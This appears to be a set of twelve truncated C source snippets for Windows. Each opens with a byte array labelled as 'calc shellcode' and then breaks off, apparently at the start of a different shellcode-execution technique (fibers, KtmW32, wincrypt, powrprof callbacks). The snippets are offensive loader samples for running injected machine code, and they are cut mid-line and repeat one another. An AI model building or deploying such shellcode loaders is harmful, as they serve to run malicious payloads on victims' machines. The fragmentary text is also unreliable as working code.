#include <windows.h> #include <stdio.h> // alfarom256 calc shellcode unsigned char op[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x2...
#include <Windows.h> #include <stdio.h> #include <powrprof.h> #pragma comment(lib, "PowrProf.lib") // alfarom256 calc shellcode unsigned char op[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x...
#include <Windows.h> #include <stdio.h> #include <ktmw32.h> #include <wchar.h> #pragma comment(lib, "KtmW32.lib") // alfarom256 calc shellcode unsigned char op[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b\x72\x5...
#include <windows.h> #include <stdio.h> int err(const char* errmsg) { printf("Error: %s (%u)\n", errmsg, ::GetLastError()); return 1; } // alfarom256 calc shellcode unsigned char op[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x1...
#include <windows.h> #include <stdio.h> // alfarom256 calc shellcode unsigned char op[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x2...
#include <windows.h> // alfarom256 calc shellcode unsigned char op[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\...
#include <Windows.h> #include <stdio.h> #include <wincrypt.h> #pragma comment(lib, "Crypt32.lib") // alfarom256 calc shellcode unsigned char op[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4...
#include <windows.h> #include <stdio.h> // alfarom256 calc shellcode unsigned char op[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x2...
#include <windows.h> #include <stdio.h> int err(const char* errmsg) { printf("Error: %s (%u)\n", errmsg, ::GetLastError()); return 1; } // alfarom256 calc shellcode unsigned char op[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18...
#include <windows.h> #include <stdio.h> // alfarom256 calc shellcode unsigned char op[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\...
// alfarom256 #include <Windows.h> #include <stdio.h> void dummy() { puts("Hello Fiber from Dummy"); } // calc shellcode unsigned char op[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a...
#include <windows.h> #include <stdio.h> // alfarom256 calc shellcode unsigned char op[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x2...